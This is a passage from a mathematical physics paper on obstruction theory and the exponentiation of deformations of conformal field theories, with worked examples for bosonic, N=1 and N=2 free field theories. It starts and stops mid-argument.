In order for the fields [(\[ecorelii\])]{} to correlate, they would have to have the same $J$-charge $Q_J$. We have $$Q_J u=1,\; Q_J (G^{-}_{-1/2}u)=0.$$ As $Q_J$ of the right hand side of [(\[ecorelii\])]{} is $1$. Thus, for the function [(\[ecorelii\])]{} to be possibly non-zero, we must have [$$\label{ecorelti}Q_J v=1.$$]{} But then we have $$w(v)\geq \frac{1}{2}Q_J v=\frac{1}{2}$$ with equality arising if and only if [$$\label{ecoreltii}\text{$v$ is chiral primary of weight $1/2$.}$$]{}
[**Remark 1:**]{} We see therefore that in the $N=2$ SUSY case, there is in fact no need to assume that the weight of $U^k$ is $>(1/2,1/2)$ for $k<h$. If the obstruction vanishes for $k<h$, then we have [$$\label{epert1}u^k=\frac{1}{k!}{\begin{array}{c}
{\scriptstyle }\\
\int\\
{\scriptstyle D}\end{array}}
(G^{-}_{-1/2}\tilde{G}^{-}_{-1/2}u)(z_k)...
(G^{-}_{-1/2}\tilde{G}^{-}_{-1/2}u)(z_1)udz_1...dz_kd\overline{z}_1...
d\overline{z}_k$$]{} where the integrand is understood as a $(k+1)$-point function (and not its power series expansion in any particular range), over the unit disk.
Additionally, for any worldsheet $\Sigma$, [$$\label{epert2}U^{h}_{\Sigma}=\frac{1}{h!}{\begin{array}{c}
{\scriptstyle }\\
\int\\
{\scriptstyle \Sigma}\end{array}}
(G^{-}_{-1/2}\tilde{G}^{-}_{-1/2}u)(z_h)...
(G^{-}_{-1/2}\tilde{G}^{-}_{-1/2}u)(z_1)dz_1...dz_hd\overline{z}_1...
d\overline{z}_h$$]{} (it is to be understood that in both [(\[epert1\])]{}, [(\[epert2\])]{}, the fields are inserted into holomorphic images of disks where the origin maps to the point of insertion with derivative of modulus 1 with respect to the measure of integration).
When the obstruction occurs at step $k$, the integral [(\[epert1\])]{} has a divergence of logarithmic type. In the $N=0$ case, there is a third possibility, namely that the obstruction vanishes, but the field $u_h$ in Theorem \[t1\] has summands of weight $<(1,1)$ ($<(1/2,1/2)$ for $N=1$). In this case, the integral [(\[epert1\])]{} will have a divergence of power type, and the intgral of terms of weight $<(1,1)$ (resp. $<(1/2,1/2)$) has to be taken in range from $\infty$ to $1$ rather than from $0$ to $1$ to get a convergent integral. The formula [(\[epert2\])]{} is not correct in that case.
[**Remark 2:**]{} In [@dixon], a different correlation function is considered as an measure of marginality of $u$ to higher perturbative order. The situation there is actually more general, allowing combinations of both chiral and antichiral primaries. In the present setting of chiral primaries only, the correlation function considered in [@dixon] amounts to [$$\label{edixon}\langle 1|(G^{-}_{-1/2}u)(z_n)...(G^{-}_{-1/2}u)(z_1)\rangle.$$]{} It is easy to see using the standard contour deformation argument to show that [(\[edixon\])]{} indeed vanishes, which is also observed in [@distler]. In [@dixon], this type of vanishing is taken as evidence that the $N=2$ CFT deformations exist. It appears, however, that even though the vanishing of [(\[edixon\])]{} follows from the vanishing of [(\[ecorelii\])]{}, the opposite implication does not hold. (In fact, we will see examples in Section \[sexam\] below.) The explanation seems to be that [@dixon] writes down an integral expressing the change of central charge when deforming by a combination of cc fields and ac fields, and proves its vanishing. While this is correct formally, we see from Remark 1 above that in fact a singularity can occur in the integral when our obstruction is non-zero: the integral can marginally diverge for $k$ points while it is convergent for $<k$ points.
It would be nice if the obstruction theory a la Gerstenhaber we described here settled in general the question of deformations of conformal field theory, at least in the vertex operator formulation. It is, however, not that simple. The trouble is that we are not in a purely algebraic situation. Rather, compositions of operators which are infinite series may not converge, and even if they do, the convergence cannot be understood in the sense of being eventually constant, but in the sense of analysis, i.e. convergence of sequences of real numbers.
Specifically, in our situation, there is the possibility of divergence of the terms on the right hand side of [(\[eexp4\])]{}. Above we dealt with one problem, that in general, we do not expect infinitesimal deformations to converge on the degenerate worldsheets of vertex operators, so we may have to replace [(\[eexp4\])]{} by equations involving finite annuli instead. However, that is not the only problem. We may encounter [*regularization along the flow parameter*]{}. This stems from the fact that the equations [(\[eexp2\])]{}, [(\[eexp3\])]{} only determine $u(\epsilon)$ up to scalar multiple, where the scalar may be of the form [$$\label{eexp20}1+{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i\geq 1}\end{array}}K_i\epsilon^i=f(\epsilon).$$]{} But the point is (as we shall see in an example in the next section) that we may only be able to get a well defined value of [$$\label{eexp21}f^{-1}(\epsilon)u(\epsilon)=v(\epsilon)$$]{} when the constants $K_i$ are infinite. The obstruction then is [$$\label{eexp22}\begin{array}{l}
L_n(m)f(m)v(m)=0\in V[\epsilon]/\epsilon^{m+1}\;\text{for $n>0$}\\
(1-L_0(m))f(m)v(m)=0\in V[\epsilon]/\epsilon^{m+1}.
\end{array}$$]{} At first, it may seem that it is difficult to make this rigorous mathematically with the infinite constants present. However, we may use the followng trick. Suppose we want to solve [$$\label{eexp23}\begin{array}{c}
c_1a_{11}+...+c_n a_{1n}=b_1\\
...\\
c_1a_{m1}+...+c_n a_{mn}=b_n
\end{array}$$]{} in a, say, finite-dimensional vector space $V$. Then we make rewrite [(\[eexp23\])]{} as [$$\label{eexp24}(b_1,...,b_n)=0\in({\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}} V)/
\langle(a_{11},...,a_{m1}),...,(a_{1n},...,a_{mn})\rangle.$$]{} This of course doesn’t give anything new in the algebraic situation, i.e when the $a_{ij}$’s are simply elements of the vector space $V$. When, however the vectors $$(a_{11},...,a_{m1}),...,(a_{1n},...,a_{mn})$$ are (possibly divergent) infinite sums $$(a_{1j},...,a_{mj})={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle k}\end{array}}(a_{1jk},...,a_{mjk}),$$ then the right hand side of [(\[eexp24\])]{} can be interpreted as $$({\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}V)/
\langle(a_{11k},...,a_{m1k}),...,(a_{1nk},...,a_{mnk})\rangle.$$ In that sense, [(\[eexp24\])]{} always makes sense, while [(\[eexp23\])]{} may not when interpreted directly. We interpret [(\[eexp22\])]{} in this way.
Let us now turn to the question of sufficient conditions for exponentiation of infinitesimal deformations. Suppose there exists a subspace $W\subset V$ closed under vertex operators which contains $u$ and such that for all elements $v\in W$, we have that $${\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}Y_i(u,z)\tilde{Y}_i(u,\overline{z})v$$ involve only $z^n\overline{z}^m$ with $m,n\in\Z$, $m,n\neq -1$. Then, by Theorem \[l1\], $$1-\phi\epsilon:W\r\hat{W}[\epsilon]/\epsilon^2$$ is an infinitesimal isomorphism between $W$ and the infinitesimally $u$-deformed $W$. It follows, in the non-regularized case, that then [$$\label{eexp25}\exp(-\phi\epsilon) u$$]{} is a globally deformed primary field of weight $(1,1)$, and [$$\label{eexp26}\exp(-\phi\epsilon):W
\r \hat{W}[[\epsilon]]$$]{} is an isomorphism between $W$ and the exponentiated deformation of $W$. However, since we now know the primary fields along the deformation, vacua can be recovered from the equation [(\[einf4\])]{} of the last section.
Such nonregularized exponentiation occurs in the case of the [*coset construction*]{}. Setting $$W=\langle v|\parbox{2.5in}{$Y_i(u,z)\tilde{Y}_i(u,\overline{z})v$
involve only $z^n\overline{z}^m$ with $m,n\geq 0$, $m,n\in\Z$}\rangle.$$ Then $W$ is called the coset of $V$ by $u$. Then $W$ is closed under vertex operators, and if $u\in W$, the formulas [(\[eexp25\])]{}, [(\[eexp26\])]{} apply without regularization.
The case with regularization occurs when there exists some constant $$K(\epsilon)=1+{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n\geq 1}\end{array}}K_n\epsilon^n$$ where $K_n$ are possibly constants such that [$$\label{eexp27}K(\epsilon)\exp(-\phi\epsilon)u$$]{} is finite in the sense described above (see [(\[eexp24\])]{}). We will see an example of this in the next section.
All these constructions are easily adapted to supersymmetry. The formulas [(\[eexp25\])]{}, [(\[eexp26\])]{} hold without change, but the deformation is with respect to $G_{-1/2}\tilde{G}_{-1/2}u$ resp. $G_{-1/2}^{-}\tilde{G}_{-1/2}^{-}u$, $G_{-1/2}^{+}\tilde{G}_{-1/2}^{-}u$ depending on the situation applicable.
The deformations of free field theories {#sfree}
=======================================
As our first application, let us consider the $1$-dimensional bosonic free field conformal field theory, where the deformation field is [$$\label{efree1}u=x_{-1}\tilde{x}_{-1}.$$]{} In this case, the infinitesimal isomorphism of Theorem \[l1\] satisfies [$$\label{efree2} \phi=\pi{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n\in\Z}\end{array}}\frac{x_{-n}\tilde{x}_{-n}}{n}$$]{} and the sufficient condition of exponentiability from the last section is met when we take $W$ the subspace consisting of states of momentum $0$. Then $W$ is closed under vertex operators, $u\in W$ and the $n=0$ term of [(\[efree2\])]{} drops out in this case. However, this is an example where regularization is needed. It can be realized as follows: Write $$\phi={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n>0}\end{array}}\phi_n$$ where $$\phi_n=\pi(\frac{x_{-n}\tilde{x}_{-n}}{n}-\frac{x_{n}\tilde{x}_{n}}{n}).$$ We have [$$\label{efree3}\exp\phi={\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle n>0}\end{array}}\exp\phi_n.$$]{} To calculate $\exp\phi_n$ explicitly, we observe that $$[\frac{x_{-n}\tilde{x}_{-n}}{n},\frac{x_{n}\tilde{x}_{n}}{n}]=
-\frac{x_{-n}x_{n}}{n}-\frac{\tilde{x}_{-n}\tilde{x}_{n}}{n}-1,$$ and setting [$$\label{efree4}\begin{array}{l}
e=\frac{x_{-n}\tilde{x}_{-n}}{n},\\
f=\frac{x_{n}\tilde{x}_{n}}{n},\\
h=-\frac{x_{-n}x_{n}}{n}-\frac{\tilde{x}_{-n}\tilde{x}_{n}}{n}-1,
\end{array}$$]{} we obtain the $sl_2$ Lie algebra [$$\label{efree5}\begin{array}{l}
[e,f]=h,\\
{}[e,h]=2e,\\
{}[f,h]=-2f.
\end{array}$$]{} Note that conventions regarding the normalization of $e,f,h$ vary, but the relations [(\[efree5\])]{} are satisfied for example for [$$\label{efree6}e=\left(\begin{array}{rr}0&1\\0&0\end{array}\right),\;
f=\left(\begin{array}{rr}0&0\\-1&0\end{array}\right),\;
h=\left(\begin{array}{rr}-1&0\\0&1\end{array}\right).$$]{} In $SL_2$, we compute [$$\label{efree7}\begin{array}{l}
\exp\pi\epsilon(-f+e)=\exp\pi\epsilon
\left(\begin{array}{rr}0&1\\1&0\end{array}\right)\\
=\left(\begin{array}{rr}\cosh\pi\epsilon&\sinh\pi\epsilon
\\ \sinh\pi\epsilon&\cosh\pi\epsilon\end{array}\right)\\
\left(\begin{array}{cc}1&\tanh\pi\epsilon\\0&1\end{array}\right)
\left(\begin{array}{cc}\frac{1}{\cosh\pi\epsilon}&0\\0&\cosh\pi\epsilon
\end{array}\right)
\left(\begin{array}{cc}1&0\\\tanh\pi\epsilon&1\end{array}\right).
\end{array}$$]{} In the translation [(\[efree4\])]{}, this is [$$\label{efree8}
\exp(\tanh(\pi\epsilon)\frac{x_{-n}\tilde{x}_{-n}}{n})
\exp((-\ln\cosh\pi\epsilon)(
\frac{x_{-n}x_{n}}{n}+\frac{\tilde{x}_{-n}\tilde{x}_{n}}{n}+1))
\exp(-\tanh(\pi\epsilon)\frac{x_{n}\tilde{x}_{n}}{n}).$$]{} To exponentiate the middle term, we claim [$$\label{efree9}\exp(\frac{x_{-n}x_{n}}{n}z)=
:\exp\frac{x_{-n}x_{n}}{n}(e^z-1)):$$]{} To prove [(\[efree9\])]{}, differentiate both sides by $z$. On the left hand side, we get $$\frac{x_{-n}x_{n}}{n}\exp(\frac{x_{-n}x_{n}}{n}z).$$ Thus, if the derivative by $z$ of the right hand side $y$ of [(\[efree9\])]{} is [$$\label{efree10}\frac{x_{-n}x_{n}}{n}:\exp(\frac{x_{-n}x_{n}}{n}(e^z-1)):,$$]{} then we have the differential equation $y^{\prime}=\frac{x_{-n}x_{n}}{n}y,$ which proves [(\[efree9\])]{} (looking also at the initial condition at $z=0$).
Now we can calculate [(\[efree10\])]{} by moving the $x_n$ occuring before the normal order symbol to the right. If we do this simply by changing [(\[efree10\])]{} to normal order, we get [$$\label{efree11}:\frac{x_{-n}x_{n}}{n}\exp(\frac{x_{-n}x_{n}}{n}(e^z-1)):,$$]{} but if we want equality with [(\[efree10\])]{}, we must add the terms coming from the commutator relations $[x_{n},x_{-n}]=n$, which gives the additional term [$$\label{efree12}(e^z-1)
:\frac{x_{-n}x_{n}}{n}\exp(\frac{x_{-n}x_{n}}{n}(e^z-1)):.$$]{} Adding together [(\[efree11\])]{} and [(\[efree12\])]{} gives [$$\label{efree13}e^z
:\frac{x_{-n}x_{n}}{n}\exp(\frac{x_{-n}x_{n}}{n}(e^z-1)):,$$]{} which is the derivative by $z$ of the right hand side of [(\[efree9\])]{}, as claimed.
Using [(\[efree9\])]{}, [(\[efree8\])]{} becomes [$$\label{efree14}\begin{array}{l}
\Phi_n=\frac{1}{\cosh\pi\epsilon}\exp(\tanh(\pi\epsilon)
\frac{x_{-n}\tilde{x}_{-n}}{n})\\
:\exp((\frac{1}{\cosh\pi\epsilon}-1)(
\frac{x_{-n}x_{n}}{n}+\frac{\tilde{x}_{-n}\tilde{x}_{n}}{n}+1)):
\exp(-\tanh(\pi\epsilon)\frac{x_{n}\tilde{x}_{n}}{n})
\end{array}$$]{} which is in normal order. Let us write [$$\label{eiii*}\Phi_n=\frac{1}{\cosh\pi\epsilon}\Phi^{\prime}_{n}.$$]{} Then the product $$\Phi^{\prime}={\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle n\geq1}\end{array}}\Phi^{\prime}_{n}$$ is in normal order, and is the regularized isomorphism from the exponentiated $\epsilon$-deformation $W_{\epsilon}$ of the conformal field theory in vertex operator formulation on to the original $W$. The inverse, which goes from $W$ to $W_{\epsilon}$, is best calculated by regularizing the exponential of $-\phi$. We get $$\begin{array}{l}
\exp\pi\epsilon(f-e)=\exp\pi\epsilon
\left(\begin{array}{rr}0&-1\\-1&0\end{array}\right)\\
=\left(\begin{array}{rr}\cosh\pi\epsilon&-\sinh\pi\epsilon
\\ -\sinh\pi\epsilon&\cosh\pi\epsilon\end{array}\right)\\
\left(\begin{array}{cc}1&-\tanh\pi\epsilon\\0&1\end{array}\right)
\left(\begin{array}{cc}\frac{1}{\cosh\pi\epsilon}&0\\0&\cosh\pi\epsilon
\end{array}\right)
\left(\begin{array}{cc}1&0\\-\tanh\pi\epsilon&1\end{array}\right)=\\
\frac{1}{\cosh\pi\epsilon}\exp(-\tanh(\pi\epsilon)
\frac{x_{-n}\tilde{x}_{-n}}{n})\\
:\exp((\frac{1}{\cosh\pi\epsilon}-1)(
\frac{x_{-n}x_{n}}{n}+\frac{\tilde{x}_{-n}\tilde{x}_{n}}{n}+1)):
\exp(\tanh(\pi\epsilon)\frac{x_{n}\tilde{x}_{n}}{n}).
\end{array}$$ So expressing this as [$$\label{eiii**}\Psi_n=\frac{1}{\cosh\pi\epsilon}\Psi^{\prime}_{n},$$]{} the product $$\Psi^{\prime}={\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle n\geq 1}\end{array}}\Psi^{\prime}_{n}$$ is the regularized iso from $W$ to $W_{\epsilon}$.
Even though $\Psi^{\prime}$ and $\Phi^{\prime}$ are only elements of $\hat{W}$, the element $u(\epsilon)=\Psi^{\prime}u$ is the regularized chiral primary field in $W_{\epsilon}$, and can be used in a regularized version of the equation [(\[einf4\])]{} to calculate the vacua on $V_{\epsilon}$, which will converge on non-degenerate Segal worldsheets.
In this approach, however, the resulting CFT structure on $V_{\epsilon}$ remains opaque, while as it turns out, in the present case it can be identified by another method.
In fact, to answer the question, we must treat precisely the case missing in Theorem \[l1\], namely when the weight $0$ part of the vertex operator of the deforming field, which in this case is determined by the momentum, doesn’t vanish. The answer is actually known in string theory to correspond to constant deformation of the metric on spacetime, which ends up isomorphic to the original free field theory. From the point of view of string theory, what we shall give is a “purely worldsheet argument” establishing this fact.
Let us look first at the infinitesimal deformation of the operator $Y(v,t,\overline{t})$ for some field $v\in V$ which is an eigenstate of momentum. We have three forms which coincide where defined: [$$\label{efree15}Y(x_{-1}\tilde{x}_{1},z,\overline{z})Y(v,t,\overline{t})dz
d\overline{z}$$]{} [$$\label{efree16}Y(v,t,\overline{t})Y(x_{-1}\tilde{x}_{-1},z,\overline{z})dz
\overline{z}$$]{} [$$\label{efree17}Y(Y(x_{-1}\tilde{x}_{-1},z-t,\overline{z-t})v,t,\overline{t})
dzd\overline{z}.$$]{} By chiral splitting, if we assume $v$ is a monomial in the modes, we can denote [(\[efree15\])]{}, [(\[efree16\])]{}, [(\[efree17\])]{} by $\eta\tilde{\eta}$ (without forming a sum of terms). Again, integrating [(\[efree15\])]{}-[(\[efree17\])]{} term by term $dz$, we get forms $\omega_\infty$, $\omega_0$, $\omega_t$, respectively. Here we set $$\int\frac{1}{z}dz=\ln z.$$ Again, these are branched forms. Selecting points $p_0,p_\infty,p_t$ on the corresponding boundary components, we can, say, make cuts $c_{0,t}$ and $c_{0,\infty}$ connecting the points $p_0,p_t$ and $p_0,p_\infty$. Cutting the worldsheet in this way, we obtain well defined branches $\omega_\infty$, $\omega_0$, $\omega_t$. To complicate things further, we have constant discrepancies [$$\label{efree18}\begin{array}{l}
C_{0t}=\omega_0-\omega_t\\
C_{0\infty}=\omega_0-\omega_\infty.
\end{array}$$]{} These can be calculated for example by comparing with the $4$ point function [$$\label{efree19}Y_+(x_{-1},z)Y(v,t)+Y(v,t)Y_-(x_{-1},z) +Y(Y_-(x_{-1},z-t)v,t)$$]{} where $Y_-(v,z)$ denotes the sum of the terms in $Y(v,z)$ involving negative powers of $z$, and $Y_+(v,z)$ is the sum of the other terms. Another way to approach this is as follows: one notices that [$$\label{efree20}\int Y(x_{-1},z)dz=\partial_{\epsilon}Y(1_{\epsilon},z)S_{-\epsilon}
|_{\epsilon=0}$$]{} where $S_{m}$ denotes the operator which adds $m$ to momentum. It follows that [$$\label{efree21}\begin{array}{l}
C_{0t}=\partial_{\epsilon}(Z(x_{-1},v,z,t)S_{-\epsilon}-
Z(x_{-1},S_{\epsilon}v,z,t))|_{\epsilon=0}\\
C_{0\infty}=\partial_{\epsilon}(Z(x_{-1},v,z,t)S_{-\epsilon}-
S_{\epsilon}Z(x_{-1},v,z,t))|_{\epsilon=0}.
\end{array}$$]{} Now the deformation is obtained by integrating the forms [$$\label{efree22}\omega_0\tilde{\eta}$$]{} [$$\label{efree23}(\omega_t+C_{0t})\tilde{\eta}$$]{} [$$\label{efree24}(\omega_\infty +C_{0\infty})\tilde{\eta}$$]{} on the boundary components around $0$, $t$ and $\infty$, and along both sides of the cuts $c_{0t}$, $c_{0,\infty}$. To get the integrals of the terms in [(\[efree22\])]{}-[(\[efree24\])]{} which do not involve the discrepancy constants, we need to integrate [$$\label{efree25}({\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n\neq 0}\end{array}}\frac{x_{-n}}{n}z^n+
x_0\ln z)({\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}x_{-m}\overline{z}^{m-1}).$$]{} To do this, observe that (pretending we work on the degenerate worldsheet, and hence omitting scaling factors, taking curved integrals over $||z||=1$), [$$\label{efree26}\oint\frac{\ln z}{\overline{z}}d\overline{z}=
-\oint\frac{-\ln\overline{z}}{\overline{z}}d\overline{z}=
-2\pi i\ln\overline{z}-\frac{1}{2}(2\pi i)^2$$]{} [$$\label{efree27}\oint\ln z\cdot \overline{z}^{m-1}d\overline{z}=
-2\pi i \frac{1}{m}\overline{z}^{m}.$$]{} Integrating [(\[efree25\])]{}, we obtain terms [$$\label{efree28}-2\pi ix_0({\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m\neq 0}\end{array}}\tilde{x}_{-m}\frac{\overline{z}^m}{m}
+\tilde{x}_0\ln\overline{z})$$]{} which will cancel with the integral along the cuts (to calculate the integral over the cuts, pair points on both sides of the cut which project to the same point in the original worldsheet), and “local” terms [$$\label{efree29}\frac{2\pi i}{2}{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n\neq 0}\end{array}}
\frac{x_{-n}\tilde{x}_{-n}}{n}-\frac{1}{2}(2\pi i)^2 x_0\tilde{x}_0.$$]{} The discrepancies play no role on the cuts (as the forms $C_{0t}\tilde{\eta}$, $C_{0,\infty}\tilde{\eta}$ are unbranched), but using the formula [(\[efree21\])]{}, we can compensate for the discrepancies to linear order in $\epsilon$ by applying on each boundary component [$$\label{efree30}S_{-2\pi i\epsilon\tilde{x}_{0}}.$$]{} In [(\[efree28\])]{}, however, when integrating $\tilde{\eta}$, we obtain also discrepancy terms conjugate to [(\[efree30\])]{}, so the correct expression is [$$\label{efree31}S_{-2\pi i\epsilon\tilde{x}_{0}}\tilde{S}_{-2\pi i\epsilon x_{0}}.$$]{} The term [(\[efree31\])]{} is also “local” on the boundary components, so the sum of [(\[efree29\])]{} and [(\[efree31\])]{} is the formula for the infinitesimal iso between the free CFT and the infinitesimally deformed theory. To exponentiate, suppose now we are working in a $D$-dimensional free CFT, and the deformation field is [$$\label{efree32}Mx_{-1}\tilde{x}_{-1}.$$]{} Then the formula for the exponentiated isomorphism multiplies left momentum by [$$\label{efree33}\exp\epsilon M$$]{} and right momentum by [$$\label{efree34}\exp\epsilon M^T.$$]{} But of course, in the free theory, the left momentum must equal to the right momentum, so this formula works only when $M$ is a symmetric matrix. Thus, to cover the general case, we must discuss the case when $M$ is antisymmetric. In this case, it may seem that we obtain indeed a different CFT which is defined in the same way as the free CFT with the exception that the left momentum $m_L$ and right momentum $m_R$ are related by the formula $$m_L=Am_R$$ for some fixed orthogonal matrix $A$. As it turns out, however, this theory is still isomorphic to the free CFT. The isomorphism replaces the left moving oscillators $x_{i,-n}$ by their transform via the matrix $A$ (which acts on this Heisenberg representation by transport of structure).
Next, let us discuss the case of deforming gravitaitonal field of non-zero momentum, i.e. when [$$\label{efree36}u=Mx_{-1}\tilde{x}_{-1}1_{\lambda}$$]{} with $\lambda\neq 0$. Of course, in order for [(\[efree36\])]{} to be of weight $(1,1)$, we must have [$$\label{efree37}||\lambda||=0.$$]{} Clearly, then, the metric cannot be Euclidean, hence there will be ghosts and a part of our theory doesn’t apply. Note that in order for [(\[efree36\])]{} to be primary, we also must have [$$\label{efree40a}M={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}\mu_i\otimes\tilde{\mu}_i$$]{} where [$$\label{efree40}\langle\mu_i,\lambda\rangle=\langle\tilde{\mu}_{i},\lambda\rangle
=0.$$]{} Despite the indefinite signature, we still have the primary obstruction, which is [$$\label{efree38}coeff_{z^{-1}\tilde{z}^{-1}}:{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m,n}\end{array}}Mx_{-m}\tilde{x}_{-n}
z^{m-1}\overline{z}^{n-1}\exp\lambda({\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle k\neq 0}\end{array}}
(\frac{x_{-k}}{k}z^{k}+\frac{\tilde{x}_{-k}}{k}\overline{z}^{k})):Mx_{-1}
\tilde{x}_{-1}1_{\lambda}$$]{} (we omit the $z^{\langle\lambda,x_0\rangle}$ term, since the power is $0$ by [(\[efree37\])]{}). In the notation [(\[efree40a\])]{}, this is $$\begin{array}{l}
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i,j}\end{array}}(\mu_ix_0-\mu_ix_0\lambda x_{-1}\lambda x_1+
\mu_i x_{-1}\lambda x_{1}+\lambda x_{-1}\mu_i x_{1})\otimes\\
(\tilde{\mu}_j\tilde{x}_0-\tilde{\mu}_j\tilde{x}_0\lambda \tilde{x}_{-1}\lambda
\tilde{x}_1+
\tilde{\mu}_j \tilde{x}_{-1}\lambda \tilde{x}_{1}+\lambda
\tilde{x}_{-1}\tilde{\mu}_j \tilde{x}_{1})Mx_{-1}
\tilde{x}_{-1}1_{\lambda}
\end{array}$$ which in the presence of [(\[efree40\])]{} reduces to the condition [$$\label{efree41}||M||^2\lambda\otimes\lambda x_{-1}\tilde{x}_{-1}=0$$]{} This is false unless [$$\label{efreen}||M||^2=0$$]{} which means that [(\[efree36\])]{} is a null state, along which the deformation is not interesting in the sense of string theory. More generally, the distributional form of [(\[efree41\])]{} is [$$\label{efree42}\int_{||\lambda||^2=0}\lambda\otimes\lambda||M(\lambda)||^2=0.$$]{} If we set $$f(\lambda)=\delta_{||\lambda||^2=0}||M(\lambda)||^2$$ then the Fourier transform of $f$ will be a function $g$ satisfying $$\sum\pm\frac{\partial^2g}{\partial\lambda^{2}_{i}}=0$$ where the sings correspond to the metric, which we assume is diagonal with entries $\pm 1$. The Fourier transform of the condition [(\[efree42\])]{} is then [$$\label{efree43}\frac{\partial^2}{\partial\lambda_i\partial\lambda_j}g=0.$$]{} Assuming a decay condition under which the Fourier transform makes sense, [(\[efree43\])]{} implies $g=0$, hence [(\[efreen\])]{}, so in this case also the obstruction is nonzero unless [(\[efree36\])]{} is a null state.
In this discussion, we restricted our attention to deforming fields of gravitational origin. It is important to note that other choices are possible. As a very basic example, let us look at the $1$-dimensional Euclidean model. Then there is a possibility of critical fields of the form [$$\label{ecomm+}a 1_{\sqrt{2}}+ b1_{-\sqrt{2}}.$$]{} This includes the sine-Gordon interaction [@sineg] when $a=b$. (We see hyperbolic rather than trigonometric functions because we are working in Euclidean spacetime rather than in the time coordinate, which is the case usually discussed.) The primary obstruction in this case states that the weight $(0,0)$ descendant of [(\[ecomm+\])]{} applied to [(\[ecomm+\])]{} is $0$. Since the descendant is $$(4ab)x_{-1},$$ we obtain the condition $a=0$ or $b=0$. It is interesting to note that in the case of the compactification on a circle, these cases where investigated very successfully by Ginsparg [@ginsparg], who used the obstruction to competely characterize the component of the moduli space of $c=1$ CFT’s originating from the free Euclidean compactified free theory. The result is that only free theories compactify at different radii, and their $\Z/2$-orbifolds occur.
There are many other possible choices of non-gravitational deformation fields, one for each field in the physical spectrum of the theory. We do not discuss these cases in the present paper.
Let us now look at the $N=1$-supersymmetric free field theory. In this case, as pointed out above, in the NS-NS sector, critical gravitational fields for deformations have weight $(1/2,1/2)$. We could also consider the NS-R and R-R sectors, where the critical weights are $(1/2,0)$ and $(0,0)$, respectively. These deforming fields parametrize soul directions in the space of infinitesimal deformations. The soul parameters $\theta$, $\tilde{\theta}$ have weights $(1/2,0)$, $(0,1/2)$, which explains the difference of critical weights in these sectors.
Let us, however, focus on the body of the space of gravitational deformations, i.e. the NS-NS sector. Let us first look at the weight $(1/2,1/2)$ primary field [$$\label{efree46}M\psi_{-1/2}\tilde{\psi}_{-1/2}.$$]{} The point is that the infinitesimal deformation is obtained by integrating the insertion operators of $$G_{-1/2}\tilde{G}_{-1/2}M\psi_{-1/2}\tilde{\psi}_{-1/2}=
Mx_{-1}\tilde{x}_{-1}.$$ Therefore, [(\[efree46\])]{} behaves exactly the same was as deformation along the field [(\[efree32\])]{} in the bosonic case. Again, if $M$ is a symmetric matrix, exponentiating the deformation leads to a theory isomorphic via scaling the momenta, while if $M$ is antisymmetric, the isomorphism involves transforming the left moving modes by the orthogonal matrix $\exp(M)$.
In the case of momentum $\lambda\neq 0$, we again have indefinite signature, and the field [$$\label{efree48}u=M\psi_{-1/2}\tilde{\psi}_{-1/2}1_{\lambda}.$$]{} Once again, for [(\[efree48\])]{} to be primary, we must have [(\[efree40a\])]{}, [(\[efree40\])]{}. Moreover, again the actual infinitesimal deformation is got by applying the insertion operators of $G_{-1/2}\tilde{G}_{-1/2}u$, so the treatment is exactly the same as deformation along the field [(\[efree36\])]{} in the bosonic case. Again, we discover that under a suitable decay condition, the obstruction is always nonzero for gravitational deformations of non-zero momentum with suitable decay conditions.
It is worth noting that in both the bosonic and supersymmetric cases, one can apply the same analysis to free field theories compactified on a torus. In this case, however, scaling momenta changes the geometry of the torus, so using deformation fields of $0$ momentum, we find exponential deformations which change (constantly) the metric on the torus. This seems to confirm, in the restricted sense investigated here, a conjecture stated in [@scft].
[**Remark:**]{} Since one can consider Calabi-Yau manifolds which are tori, one sees that there should also exist an $N=2$-supersymmetric version of the free field theory compactified on a torus. (It is in fact not difficult to construct such model directly, it is a standard construction.) Now since we are in the Calabi-Yau case, marginal $cc$ fields should correspond to deformations of complex structure, and marginal $ac$ fields should correspond to deformations of Kähler metric in this case.
But on the other hand, we already identified gravitational fields which should be the sources of such deformations. Additionally, deformations in those direction require regularization of the deformation parameter, and hence cannot satisfy the conclusion of Theorem \[t2\].
This is explained by observing that we must be careful with reality. The gravitational fields we considered are in fact real, but neither chiral nor antichiral primary in either the left or the right moving sector. By contrast, chiral primary fields ( or antiprimary) fields are not real. This is due to the fact that $G^{+}_{-3/2}$ and $G^{-}_{-3/2}$ are not real in the $N=2$ superconformal algebra, but are in fact complex conjugate to each other. Therefore, to get to the real gravitational fields, we must take real parts, or in other words linear combinations of chiral and antichiral primaries, resulting in the need for regularization.
It is in fact a fun exercise to calculate explicitly how our higher $N=2$ obstruction theory operates in this case. Let us consider the $N=2$-supersymmetric free field theory, since the compactification behaves analogously. The minimum number of dimensions for $N=2$ supersymmetry is $2$. Let us denote the bosonic fields by $x,y$ and their fermionic superpartners by $\xi,\psi$. Then the $0$-momentum summand of the state space (NS sector) is (a Hilbert completion of) $$Sym(x_n,y_n|n<0)\otimes \Lambda(\xi_r,\psi_r|
r<0,r\in\Z+\frac{1}{2}).$$ The “body” parts of the bosonic and fermionic vertex operators are given by the usual formulas $$\begin{array}{ll}
Y(x_{-1},z)=\sum x_{-n}z^{n-1}, &
Y(y_{-1},z)=\sum y_{-n}z^{n-1}\\
